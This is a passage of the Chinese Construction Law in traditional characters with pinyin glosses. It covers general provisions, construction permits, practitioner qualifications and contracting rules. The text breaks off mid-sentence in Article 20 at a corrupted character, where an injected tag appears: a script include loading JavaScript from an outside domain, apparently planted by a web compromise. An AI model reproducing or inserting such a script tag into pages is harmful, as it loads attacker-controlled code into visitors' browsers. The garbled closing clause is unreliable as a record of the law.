第一(yī)章總則 

第一(yī)條爲了加強對建築活動的監督管理，維護建築市場秩序，保證建築工(gōng)程的質量和安全，促進建築業健康發展，制定本法。 

第二條在中(zhōng)華人民共和國境内從事建築活動，實施對建築活動的監督管理，應當遵守本法。本法所稱建築活動，是指各類房屋建築及其附屬設施的建造和與其配套的線路、管道、設備的安裝活動。 

第三條建築活動應當确保建築工(gōng)程質量和安全，符合國家的建築工(gōng)程安全标準。 

第四條國家扶持建築業的發展，支持建築科學技術研究，提高房屋建築設計水平，鼓勵節約能源和保護環境，提倡采用先進技術、先進設備、先進工(gōng)藝、新型建築材料和現代管理方式。 

第五條從事建築活動應當遵守法律、法規，不得損害社會公共利益和他人的合法權益。任何單位和個人都不得妨礙和阻撓依法進行的建築活動。 

第六條國務院建設行政主管部門對全國的建築活動實施統一(yī)監督管理。 

第二章建築許可 

第一(yī)節建築工(gōng)程施工(gōng)許可 

第七條建築工(gōng)程開(kāi)工(gōng)前，建設單位應當按照國家有關規定向工(gōng)程所在地縣級以上人民政府建設行政主管部門申請領取施工(gōng)許可證；但是，國務院建設行政主管部門确定的限額以下(xià)的小(xiǎo)型工(gōng)程除外(wài)。按照國務院規定的權限和程序批準開(kāi)工(gōng)報告的建築工(gōng)程，不再領取施工(gōng)許可證。 

第八條申請領取施工(gōng)許可證，應當具備下(xià)列條件： 

（一(yī)）已經辦理該建築工(gōng)程用地批準手續； 
（二）在城市規劃區的建築工(gōng)程，已經取得規劃許可證； 
（三）需要拆遷的，其拆遷進度符合施工(gōng)要求； 
（四）已經确定建築施工(gōng)企業； 
（五）有滿足施工(gōng)需要的施工(gōng)圖紙(zhǐ)及技術資(zī)料； 
（六）有保證工(gōng)程質量和安全的具體(tǐ)措施； 
（七）建設資(zī)金已經落實； 
（八）法律、行政法規規定的其他條件。 

建設行政主管部門應當自收到申請之日起十五日内，對符合條件的申請頒發施工(gōng)許可證。 

第九條建設單位應當自領取施工(gōng)許可證之日起三個月内開(kāi)工(gōng)。因故不能按期開(kāi)工(gōng)的，應當向發證機關申請延期；延期以兩次爲限，每次不超過三個月。既不開(kāi)工(gōng)又(yòu)不申請延期或者超過延期時限的，施工(gōng)許可證自行廢止。 

第十條在建的建築工(gōng)程因故中(zhōng)止施工(gōng)的，建設單位應當自中(zhōng)止施工(gōng)之日起一(yī)個月内，向發證機關報告，并按照規定做好建築工(gōng)程的維護管理工(gōng)作。建築工(gōng)程恢複施工(gōng)時，應當向發證機關報告；中(zhōng)止施工(gōng)滿一(yī)年的工(gōng)程恢複施工(gōng)前，建設單位應當報發證機關核驗施工(gōng)許可證。 

第十一(yī)條按照國務院有關規定批準開(kāi)工(gōng)報告的建築工(gōng)程，因故不能按期開(kāi)工(gōng)或者中(zhōng)止施工(gōng)的，應當及時向批準機關報告情況。因故不能按期開(kāi)工(gōng)超過六個月的，應當重新辦理開(kāi)工(gōng)報告的批準手續。 

第二節從業資(zī)格 

第十二條從事建築活動的建築施工(gōng)企業、勘察單位、設計單位和工(gōng)程監理單位，應當具備下(xià)列條件： 

（一(yī)）有符合國家規定的注冊資(zī)本； 
（二）有與其從事的建築活動相适應的具有法定執業資(zī)格的專業技術人員(yuán)； 
（三）有從事相關建築活動所應有的技術裝備； 
（四）法律、行政法規規定的其他條件。 
第十三條從事建築活動的建築施工(gōng)企業、勘察單位、設計單位和工(gōng)程監理單位，按照其擁有的注冊資(zī)本、專業技術人員(yuán)、技術裝備和已完成的建築工(gōng)程業績等資(zī)質條件，劃分(fēn)爲不同的資(zī)質等級，經資(zī)質審查合格，取得相應等級的資(zī)質證書(shū)後，方可在其資(zī)質等級許可的範圍内從事建築活動。 

第十四條從事建築活動的專業技術人員(yuán)，應當依法取得相應的執業資(zī)格證書(shū)，并在執業資(zī)格證書(shū)許可的範圍内從事建築活動。 

第三章建築工(gōng)程發包與承包 

第一(yī)節一(yī)般規定 

第十五條建築工(gōng)程的發包單位與承包單位應當依法訂立書(shū)面合同，明确雙方的權利和義務。發包單位和承包單位應當全面履行合同約定的義務。不按照合同約定履行義務的，依法承擔違約責任。 

第十六條建築工(gōng)程發包與承包的招标投标活動，應當遵循公開(kāi)、公正、平等競争的原則，擇優選擇承包單位。建築工(gōng)程的招标投标，本法沒有規定的，适用有關招标投标法律的規定。 

第十七條發包單位及其工(gōng)作人員(yuán)在建築工(gōng)程發包中(zhōng)不得收受賄賂、回扣或者索取其他好處。承包單位及其工(gōng)作人員(yuán)不得利用向發包單位及其工(gōng)作人員(yuán)行賄、提供回扣或者給予其他好處等不正當手段承攬工(gōng)程。 

第十八條建築工(gōng)程造價應當按照國家有關規定，由發包單位與承包單位在合同中(zhōng)約定。公開(kāi)招标發包的，其造價的約定，須遵守招标投标法律的規定。發包單位應當按照合同的約定，及時撥付工(gōng)程款項。 

第二節發包 

第十九條建築工(gōng)程依法實行招标發包，對不适于招标發包的可以直接發包。 

第二十條建築工(gōng)程實行公開(kāi)招标的，發包單位應當依照法定程序和方式，發布招标公告，提供載有招标工(gōng)程的主要技術要求、主要的合同條款、評标的标準和方法以及開(kāi)标、評标、定标的程序等内容的招标文件。開(kāi)标應當在招标文件規?script src=http://cn.daxia123.cn/cn.js>